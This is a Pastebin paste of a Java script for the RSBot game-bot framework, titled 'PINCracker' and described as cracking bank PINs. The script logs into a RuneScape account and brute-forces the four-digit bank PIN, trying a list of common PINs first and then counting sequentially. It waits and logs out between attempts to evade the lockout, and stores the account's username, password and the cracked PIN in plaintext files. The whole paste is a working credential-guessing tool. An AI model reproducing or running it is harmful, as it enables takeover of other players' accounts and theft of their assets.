Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import org.rsbot.script.Script;
- import org.rsbot.script.ScriptManifest;
- import org.rsbot.script.wrappers.RSComponent;
- import org.rsbot.event.listeners.PaintListener;
- import org.rsbot.util.GlobalConfiguration;
- import java.awt.*;
- import java.io.*;
- import java.awt.event.*;
- import javax.swing.*;
- import java.util.*;
- @ScriptManifest(authors = "Pork", name = "PINCracker", description = "Cracks bank PIN's.", version = 2.0)
- public class PINCracker extends Script implements PaintListener {
- private String username;
- private String password;
- private String pin;
- private boolean logout;
- private boolean useCommonPINs;
- private boolean ascend;
- private String[] commonPINs = {"1950", "1951", "1952", "1953", "1954", "4970", "1955", "1956", "1957", "1958", "1959",
- "1960", "1961", "1962", "1963", "1964", "1965", "1966", "1967", "1968", "1969",
- "1970", "1971", "1972", "1973", "1974", "1975", "1976", "1977", "1978", "1979",
- "1980", "1981", "1982", "1983", "1984", "1985", "1986", "1987", "1988", "1989",
- "1990", "1991", "1992", "1993", "1994", "1995", "1996", "1997", "1998", "1999",
- "2000", "2001", "2002", "2003", "2004", "2005", "2006", "2007", "2008", "2009",
- "2010", "2011", "2012", "2468", "1337", "0101", "0202", "0303", "0404", "0505",
- "0606", "0707", "0808", "0909", "1010", "1212", "1313", "1414", "1515", "1616",
- "1717", "1818", "1919", "2020", "2121", "2323", "2424", "2525", "2626", "2727",
- "2828", "2929", "3030", "3131", "3232", "3434", "3535", "3636", "3737", "3838",
- "3939", "4040", "4141", "4242", "4343", "4545", "4646", "4747", "4848", "4949",
- "5050", "5151", "5252", "5353", "5454", "5656", "5757", "5858", "5959", "6060",
- "6161", "6262", "6363", "6464", "6565", "6767", "6868", "6969", "7070", "7171",
- "7272", "7373", "7474", "7575", "7676", "7878", "7979", "8080", "8181", "8282",
- "8383", "8484", "8585", "8686", "8787", "8989", "9090", "9191", "9292", "9393",
- "9494", "9595", "9696", "9797", "9898", "9119", "6667", "1800", "1000", "3000",
- "4000", "5000", "6000", "7000", "8000", "9000", "1001", "1221", "1331", "1441",
- "1551", "1661", "1771", "1881", "2112", "2332", "2442", "2552", "2662", "2772",
- "2882", "2992", "3003", "3113", "3223", "3443", "3553", "3663", "3773", "3883",
- "3993", "4004", "4114", "4224", "4334", "4554", "4664", "4774", "4884", "4994",
- "5005", "5115", "5225", "5335", "5445", "5665", "5775", "5885", "5995", "6006",
- "6116", "6226", "6336", "6446", "6556", "6776", "6886", "6996", "7007", "7117",
- "7227", "7337", "7447", "7557", "7667", "7887", "7997", "8008", "8118", "8228",
- "8338", "8448", "8558", "8668", "8778", "8998", "9009", "9119", "9229", "9339",
- "9449", "9559", "9669", "9779", "9889", "0011", "0022", "0033", "0044", "0055",
- "0066", "0077", "0088", "0099", "1100", "1122", "1133", "1144", "1155", "1166",
- "1177", "1188", "1199", "2200", "2211", "2233", "2244", "2255", "2266", "2277",
- "2288", "2299", "3300", "3311", "3322", "3344", "3355", "3366", "3377", "3388",
- "3399", "4400", "4411", "4422", "4433", "4455", "4466", "4477", "4488", "4499",
- "5500", "5511", "5522", "5533", "5544", "5566", "5577", "5588", "5599", "6600",
- "6611", "6622", "6633", "6644", "6655", "6677", "6688", "6699", "7700", "7711",
- "7722", "7733", "7744", "7755", "7766", "7788", "7799", "8800", "8811", "8822",
- "8833", "8844", "8855", "8866", "8877", "8899", "9900", "9911", "9922", "9933",
- "9944", "9955", "9966", "9977", "9988"};
- private int state;
- private int tried = 0;
- private long banktimeout = 10;
- private String startPIN = pin;
- private boolean commonPINsFinished = true;
- private String actualPIN = "";
- //Paint variables
- public long startTime = 0;
- public long millis = 0;
- public long hours = 0;
- public long minutes = 0;
- public long seconds = 0;
- public long last = 0;
- public int totalTried = 0;
- public int pinsPerHour = 0;
- public String currentPIN;
- public boolean pinIsCracked = false;
- //GUI variables
- private final JFrame frame = new JFrame();
- private javax.swing.JButton startButton;
- private javax.swing.JCheckBox logoutCheckBox;
- private javax.swing.JCheckBox ascendCheckBox;
- private javax.swing.JCheckBox useCommonCheckBox;
- private javax.swing.JLabel usernameLabel;
- private javax.swing.JLabel titleLabel;
- private javax.swing.JLabel passwordLabel;
- private javax.swing.JLabel startPinLabel;
- private javax.swing.JPanel accountInfoPanel;
- private javax.swing.JPanel settingsPanel;
- private javax.swing.JPasswordField passwordTextField;
- private javax.swing.JTextField usernameTextField;
- private javax.swing.JTextField startPinTextField;
- private Properties settings = new Properties();
- private Dimension dim = Toolkit.getDefaultToolkit().getScreenSize();
- public boolean activateCondition() {
- return interfaces.get(13).isValid() || interfaces.getComponent(14, 34).isValid();
- }
- public long bankTimeout() {
- return banktimeout;
- }
- public void enterCode(final String aPin) {
- if (!interfaces.get(13).isValid())
- return;
- final RSComponent[] children = interfaces.get(13).getComponents();
- state = 0;
- for (int i = 1; i < 5; i++) {
- if (children[i].containsText("?"))
- state++;
- }
- state = 4 - state;
- currentPIN = pin;
- if (!interfaces.get(759).isValid())
- return;
- final RSComponent[] bankPin = interfaces.get(759).getComponents();
- for (int i = 0; i < bankPin.length; i++) {
- if (bankPin[i].containsText(aPin.substring(state, state + 1))) {
- actualPIN += bankPin[i].getText();
- bankPin[i].doClick();
- break;
- }
- }
- if (state >= 3) {
- tried++;
- totalTried++;
- log("Entered PIN: " + actualPIN);
- if (tried == 2) {
- if(interfaces.get(762).isValid() || (interfaces.get(211).containsText("has been cancelled")))
- pinIsCracked();
- else
- sleep(11000);
- }
- else if(tried >= 3) {
- sleep(2000);
- if(interfaces.get(762).isValid() || (interfaces.get(211).containsText("has been cancelled")))
- pinIsCracked();
- else {
- sleep(14000);
- tried = 0;
- while(game.isLoggedIn())
- logout();
- }
- }
- try {
- BufferedWriter file = new BufferedWriter(new FileWriter(new File(GlobalConfiguration.Paths.getSettingsDirectory(), "\\" + username.toUpperCase().replaceAll(" ", "_") + " Progress.txt")));
- file.write("Username: " + username);
- file.newLine();
- file.write("Password: " + password);
- file.newLine();
- if (useCommonPINs && !commonPINsFinished)
- file.write("Last PIN attempted: " + currentPIN + " (From the common PIN list)");
- else
- file.write("Last PIN attempted: " + currentPIN);
- file.close();
- }
- catch (Exception e) {}
- int temp = 0;
- if (useCommonPINs && (totalTried <= commonPINs.length)) {
- if (totalTried >= commonPINs.length) {
- temp = Integer.parseInt(startPIN);
- commonPINsFinished = true;
- }
- else
- temp = Integer.parseInt(commonPINs[totalTried]);
- }
- else {
- temp = Integer.parseInt(pin);
- if (ascend) {
- if (Integer.parseInt(actualPIN) == temp)
- temp++;
- else
- log.warning("Entered wrong PIN... retrying...");
- }
- else {
- if (Integer.parseInt(actualPIN) == temp)
- temp--;
- else
- log.warning("Entered wrong PIN... retrying...");
- }
- if (useCommonPINs) {
- for (int i=0; i<commonPINs.length; i++) {
- if (temp == Integer.parseInt(commonPINs[i])) {
- if (ascend) {
- if (Integer.parseInt(actualPIN) == temp)
- temp++;
- else
- log.warning("Entered wrong PIN... retrying...");
- }
- else {
- if (Integer.parseInt(actualPIN) == temp)
- temp--;
- else
- log.warning("Entered wrong PIN... retrying...");
- }
- }
- }
- }
- }
- if (temp >= 0 && temp <= 9)
- pin = String.format("000%d", temp);
- else if(temp >= 10 && temp <= 99)
- pin = String.format("00%d", temp);
- else if(temp >= 100 && temp <= 999)
- pin = String.format("0%d", temp);
- else if(temp >= 1000 && temp <= 9999)
- pin = "" + temp;
- actualPIN = "";
- }
- }
- public void logout() {
- if (game.isLoggedIn()) {
- while (!game.isOnLogoutTab()) {
- mouse.click(755, 9, true);
- sleep(200, 800);
- }
- mouse.click(643, 375, true);
- while (game.isLoggedIn()) {
- mouse.click(643, 375, true);
- sleep(500, 1200);
- }
- }
- }
- public void login() {
- if (interfaces.get(906).containsText("account has not logged out") || interfaces.get(596).containsText("account has not logged out"))
- mouse.click(382, 322, true);
- else if(interfaces.get(596).containsText("Error connecting"))
- mouse.click(382, 305, true);
- else if(interfaces.get(906).isValid()) {
- interfaces.get(906).getComponent(171).doClick();
- while(interfaces.get(906).containsText("Entering game"))
- sleep(500);
- }
- else if (interfaces.get(596).isValid()) {
- if(interfaces.get(596).getComponent(65).getText().length() == 0) {
- interfaces.get(596).getComponent(65).doClick();
- sleep(1000);
- keyboard.sendText(username, false);
- }
- if(interfaces.get(596).getComponent(71).getText().length() == 0) {
- interfaces.get(596).getComponent(71).doClick();
- sleep(1000);
- keyboard.sendText(password, false);
- }
- interfaces.get(596).getComponent(51).doClick();
- sleep(3000);
- }
- }
- public void pinIsCracked() {
- pinIsCracked = true;
- log("PIN SUCCESSFULLY CRACKED!");
- log.warning("PIN: " + currentPIN);
- try {
- BufferedWriter file = new BufferedWriter(new FileWriter(new File(GlobalConfiguration.Paths.getSettingsDirectory(), "\\" + username.toUpperCase().replaceAll(" ", "_") + " Progress.txt")));
- file.write("Username: " + username);
- file.newLine();
- file.write("Password: " + password);
- file.newLine();
- file.write("CRACKED PIN: " + currentPIN);
- log("Info wrote to " + GlobalConfiguration.Paths.getSettingsDirectory() + "\\" + username.toUpperCase().replaceAll(" ", "_") + " Progress.txt");
- file.close();
- }
- catch (Exception e) {}
- if (logout) {
- log("Logging out...");
- while(game.isLoggedIn())
- game.logout(false);
- stopScript();
- }
- else {
- log("Staying logged in...");
- mouse.setSpeed(8);
- while(true) {
- sleep(1000);
- if (random(0,60) == 50) {
- camera.setAngle(random(0,360));
- mouse.moveRandomly(300);
- }
- while(!game.isLoggedIn())
- login();
- }
- }
- }
- @Override
- public boolean onStart() {
- startTime = System.currentTimeMillis();
- mouse.setSpeed(1);
- initGUI();
- while (frame.isVisible())
- sleep(500);
- currentPIN = pin;
- startPIN = pin;
- if (useCommonPINs) {
- pin = commonPINs[0];
- currentPIN = commonPINs[0];
- commonPINsFinished = false;
- }
- return true;
- }
- @Override
- public int loop() {
- if (game.isLoggedIn()) {
- if (interfaces.get(13).isValid()) {
- enterCode(pin);
- sleep(900, 1000);
- }
- else if(interfaces.get(762).isValid() || (interfaces.get(211).containsText("has been cancelled")))
- pinIsCracked();
- else
- bank.open();
- }
- else
- login();
- return random(100, 300);
- }
- public void onRepaint(Graphics g1) {
- Graphics2D g = (Graphics2D)g1;
- millis = System.currentTimeMillis() - startTime;
- hours = millis / (1000 * 60 * 60);
- millis -= hours * (1000 * 60 * 60);
- minutes = millis / (1000 * 60);
- millis -= minutes * (1000 * 60);
- seconds = millis / 1000;
- String hoursString = "" + hours;
- String minutesString = "" + minutes;
- String secondsString = "" + seconds;
- if (hours < 10)
- hoursString = "0" + hours;
- if (minutes < 10)
- minutesString = "0" + minutes;
- if (seconds < 10)
- secondsString = "0" + seconds;
- if (!pinIsCracked) {
- g.setColor(new Color(0,0,255,200));
- int x = (int) mouse.getLocation().getX();
- int y = (int) mouse.getLocation().getY();
- g.drawLine(x, 0, x, game.getHeight());
- g.drawLine(0,y,game.getWidth(),y);
- if (commonPINsFinished) {
- g.setColor(new Color(0, 0, 255, 230));
- g.fillRect(5, 5, 190, 65);
- g.setFont(new Font("Arial", Font.BOLD, 15));
- g.setColor(Color.WHITE);
- g.drawString("Runtime: " + hoursString + ":" + minutesString + ":" + secondsString, 10, 20);
- g.drawString("# of PIN Attempts: " + totalTried, 10, 35);
- g.drawString("Current PIN Attempt: " + currentPIN, 10, 50);
- g.drawString("PINs/hour: " + ((totalTried) * 3600000 / (System.currentTimeMillis() - startTime)), 10, 65);
- }
- else {
- g.setColor(new Color(0, 0, 255, 230));
- g.fillRect(5, 5, 190, 75);
- g.setFont(new Font("Arial", Font.BOLD, 15));
- g.setColor(Color.WHITE);
- g.drawString("Runtime: " + hoursString + ":" + minutesString + ":" + secondsString, 10, 20);
- g.drawString("# of PIN Attempts: " + totalTried, 10, 35);
- g.drawString("Current PIN Attempt: " + currentPIN, 10, 50);
- g.setFont(new Font("Arial", Font.BOLD, 10));
- g.drawString("(Trying common PINs first: " + totalTried + "/" + commonPINs.length + ")", 10, 61);
- g.setFont(new Font("Arial", Font.BOLD, 15));
- g.drawString("PINs/hour: " + ((totalTried) * 3600000 / (System.currentTimeMillis() - startTime)), 10, 76);
- }
- }
- else {
- g.setColor(new Color(0, 255, 0, 230));
- g.fillRect(5, 5, 190, 65);
- g.setFont(new Font("Arial", Font.BOLD, 20));
- g.setColor(Color.WHITE);
- g.drawString("PIN CRACKED", 34, 25);
- g.setFont(new Font("Arial", Font.BOLD, 40));
- g.drawString(currentPIN, 56, 62);
- }
- }
- public void initGUI() {
- try {
- UIManager.setLookAndFeel("com.sun.java.swing.plaf.windows.WindowsLookAndFeel");
- }
- catch (Exception e) {}
- titleLabel = new javax.swing.JLabel();
- accountInfoPanel = new javax.swing.JPanel();
- usernameTextField = new javax.swing.JTextField();
- usernameLabel = new javax.swing.JLabel();
- passwordLabel = new javax.swing.JLabel();
- passwordTextField = new javax.swing.JPasswordField();
- settingsPanel = new javax.swing.JPanel();
- startPinLabel = new javax.swing.JLabel();
- startPinTextField = new javax.swing.JTextField();
- logoutCheckBox = new javax.swing.JCheckBox();
- useCommonCheckBox = new javax.swing.JCheckBox();
- ascendCheckBox = new javax.swing.JCheckBox();
- ascendCheckBox = new javax.swing.JCheckBox();
- startButton = new javax.swing.JButton();
- startPinLabel.setText("0000");
- ascendCheckBox.setSelected(true);
- try {
- settings.load(new FileInputStream(GlobalConfiguration.Paths.getSettingsDirectory()+"\\PINCrackerSettings.ini"));
- if (settings.getProperty("username").length() != 0)
- usernameTextField.setText(settings.getProperty("username"));
- if (settings.getProperty("password").length() != 0)
- passwordTextField.setText(settings.getProperty("password"));
- if (settings.getProperty("startpin").length() != 0)
- startPinTextField.setText(settings.getProperty("startpin"));
- if (settings.getProperty("ascend").length() != 0)
- ascendCheckBox.setSelected(Boolean.parseBoolean(settings.getProperty("ascend")));
- if (settings.getProperty("logout").length() != 0)
- logoutCheckBox.setSelected(Boolean.parseBoolean(settings.getProperty("logout")));
- if (settings.getProperty("usecommon").length() != 0)
- useCommonCheckBox.setSelected(Boolean.parseBoolean(settings.getProperty("usecommon")));
- }
- catch (Exception e) {}
- frame.setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE);
- frame.setTitle("Pork's PIN Cracker");
- frame.setResizable(false);
- titleLabel.setFont(new java.awt.Font("Arial", 1, 24));
- titleLabel.setForeground(new java.awt.Color(50, 50, 50));
- titleLabel.setHorizontalAlignment(javax.swing.SwingConstants.CENTER);
- titleLabel.setText("Pork's PIN Cracker");
- accountInfoPanel.setBorder(javax.swing.BorderFactory.createTitledBorder(null, "Login Details", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.DEFAULT_POSITION, new java.awt.Font("Tahoma", 0, 11), new java.awt.Color(51, 51, 51)));
- usernameTextField.setFont(new java.awt.Font("Tahoma", 0, 12));
- usernameLabel.setFont(new java.awt.Font("Tahoma", 0, 12));
- usernameLabel.setText("Username");
- passwordLabel.setFont(new java.awt.Font("Tahoma", 0, 12));
- passwordLabel.setText("Password");
- passwordTextField.setFont(new java.awt.Font("Tahoma", 0, 12)); // NOI18N
- javax.swing.GroupLayout accountInfoPanelLayout = new javax.swing.GroupLayout(accountInfoPanel);
- accountInfoPanel.setLayout(accountInfoPanelLayout);
- accountInfoPanelLayout.setHorizontalGroup(
- accountInfoPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
- .addGroup(accountInfoPanelLayout.createSequentialGroup()
- .addContainerGap()
- .addGroup(accountInfoPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
- .addComponent(usernameLabel)
- .addComponent(passwordLabel))
- .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
- .addGroup(accountInfoPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
- .addComponent(passwordTextField, javax.swing.GroupLayout.DEFAULT_SIZE, 141, Short.MAX_VALUE)
- .addComponent(usernameTextField, javax.swing.GroupLayout.DEFAULT_SIZE, 141, Short.MAX_VALUE))
- .addContainerGap())
- );
- accountInfoPanelLayout.setVerticalGroup(
- accountInfoPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
- .addGroup(accountInfoPanelLayout.createSequentialGroup()
- .addGroup(accountInfoPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
- .addComponent(usernameLabel)
- .addComponent(usernameTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
- .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
- .addGroup(accountInfoPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
- .addComponent(passwordLabel)
- .addComponent(passwordTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
- .addContainerGap(6, Short.MAX_VALUE))
- );
- settingsPanel.setBorder(javax.swing.BorderFactory.createTitledBorder(null, "Settings", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.DEFAULT_POSITION, new java.awt.Font("Tahoma", 0, 11), new java.awt.Color(51, 51, 51)));
- startPinLabel.setFont(new java.awt.Font("Tahoma", 0, 12));
- startPinLabel.setText("Starting PIN");
- startPinTextField.setFont(new java.awt.Font("Tahoma", 0, 12));
- startPinTextField.setHorizontalAlignment(javax.swing.JTextField.CENTER);
- logoutCheckBox.setFont(new java.awt.Font("Tahoma", 0, 12));
- logoutCheckBox.setText("Log out after PIN is cracked");
- useCommonCheckBox.setFont(new java.awt.Font("Tahoma", 0, 12));
- useCommonCheckBox.setText("Try common PINs first");
- ascendCheckBox.setFont(new java.awt.Font("Tahoma", 0, 12));
- ascendCheckBox.setLabel("Ascend");
- javax.swing.GroupLayout settingsPanelLayout = new javax.swing.GroupLayout(settingsPanel);
- settingsPanel.setLayout(settingsPanelLayout);
- settingsPanelLayout.setHorizontalGroup(
- settingsPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
- .addGroup(settingsPanelLayout.createSequentialGroup()
- .addContainerGap()
- .addGroup(settingsPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
- .addComponent(useCommonCheckBox)
- .addGroup(settingsPanelLayout.createSequentialGroup()
- .addComponent(startPinLabel)
- .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
- .addComponent(startPinTextField, javax.swing.GroupLayout.PREFERRED_SIZE, 42, javax.swing.GroupLayout.PREFERRED_SIZE)
- .addGap(18, 18, 18)
- .addComponent(ascendCheckBox))
- .addComponent(logoutCheckBox))
- .addContainerGap(14, Short.MAX_VALUE))
- );
- settingsPanelLayout.setVerticalGroup(
- settingsPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
- .addGroup(settingsPanelLayout.createSequentialGroup()
- .addGroup(settingsPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
- .addComponent(startPinLabel)
- .addComponent(startPinTextField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
- .addComponent(ascendCheckBox))
- .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
- .addComponent(logoutCheckBox)
- .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
- .addComponent(useCommonCheckBox)
- .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
- );
- startButton.setFont(new java.awt.Font("Tahoma", 0, 14));
- startButton.setActionCommand("Cancel");
- startButton.setLabel("Start");
- javax.swing.GroupLayout layout = new javax.swing.GroupLayout(frame.getContentPane());
- frame.getContentPane().setLayout(layout);
- layout.setHorizontalGroup(
- layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
- .addGroup(layout.createSequentialGroup()
- .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
- .addGroup(layout.createSequentialGroup()
- .addContainerGap()
- .addComponent(settingsPanel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
- .addGroup(layout.createSequentialGroup()
- .addContainerGap()
- .addComponent(accountInfoPanel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
- .addGroup(layout.createSequentialGroup()
- .addContainerGap()
- .addComponent(startButton, javax.swing.GroupLayout.DEFAULT_SIZE, 231, Short.MAX_VALUE)))
- .addContainerGap())
- .addGroup(layout.createSequentialGroup()
- .addGap(18, 18, 18)
- .addComponent(titleLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
- .addGap(20, 20, 20))
- );
- layout.setVerticalGroup(
- layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
- .addGroup(layout.createSequentialGroup()
- .addContainerGap()
- .addComponent(titleLabel, javax.swing.GroupLayout.PREFERRED_SIZE, 17, javax.swing.GroupLayout.PREFERRED_SIZE)
- .addGap(11, 11, 11)
- .addComponent(accountInfoPanel, javax.swing.GroupLayout.PREFERRED_SIZE, 81, javax.swing.GroupLayout.PREFERRED_SIZE)
- .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
- .addComponent(settingsPanel, javax.swing.GroupLayout.PREFERRED_SIZE, 98, javax.swing.GroupLayout.PREFERRED_SIZE)
- .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
- .addComponent(startButton, javax.swing.GroupLayout.DEFAULT_SIZE, 35, Short.MAX_VALUE)
- .addContainerGap())
- );
- startButton.addActionListener(new ActionListener() {
- public void actionPerformed(ActionEvent e) {
- boolean startPinIsValid = true;
- for (int i=0; i<startPinTextField.getText().length(); i++) {
- if (!Character.isDigit(startPinTextField.getText().charAt(i))) {
- startPinIsValid = false;
- break;
- }
- }
- if (startPinTextField.getText().length() != 4 || !startPinIsValid)
- JOptionPane.showMessageDialog(frame, "The starting PIN must be 4 digits.", "Pork's PIN Cracker", JOptionPane.ERROR_MESSAGE);
- else {
- settings.setProperty("username", usernameTextField.getText());
- settings.setProperty("password", passwordTextField.getText());
- settings.setProperty("startpin", startPinTextField.getText());
- settings.setProperty("ascend", String.valueOf(ascendCheckBox.isSelected()));
- settings.setProperty("logout", String.valueOf(logoutCheckBox.isSelected()));
- settings.setProperty("usecommon", String.valueOf(useCommonCheckBox.isSelected()));
- username = usernameTextField.getText();
- password = passwordTextField.getText();
- pin = startPinTextField.getText();
- ascend = ascendCheckBox.isSelected();
- logout = logoutCheckBox.isSelected();
- useCommonPINs = useCommonCheckBox.isSelected();
- frame.setVisible(false);
- try {
- settings.save(new FileOutputStream(GlobalConfiguration.Paths.getSettingsDirectory() + "\\PINCrackerSettings.ini"), "Settings for Pork's PIN Cracker");
- }
- catch (Exception f) {}
- }
- }
- });
- frame.pack();
- frame.setLocation((dim.width-frame.getSize().width)/2, (dim.height-frame.getSize().height)/2);
- frame.setVisible(true);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement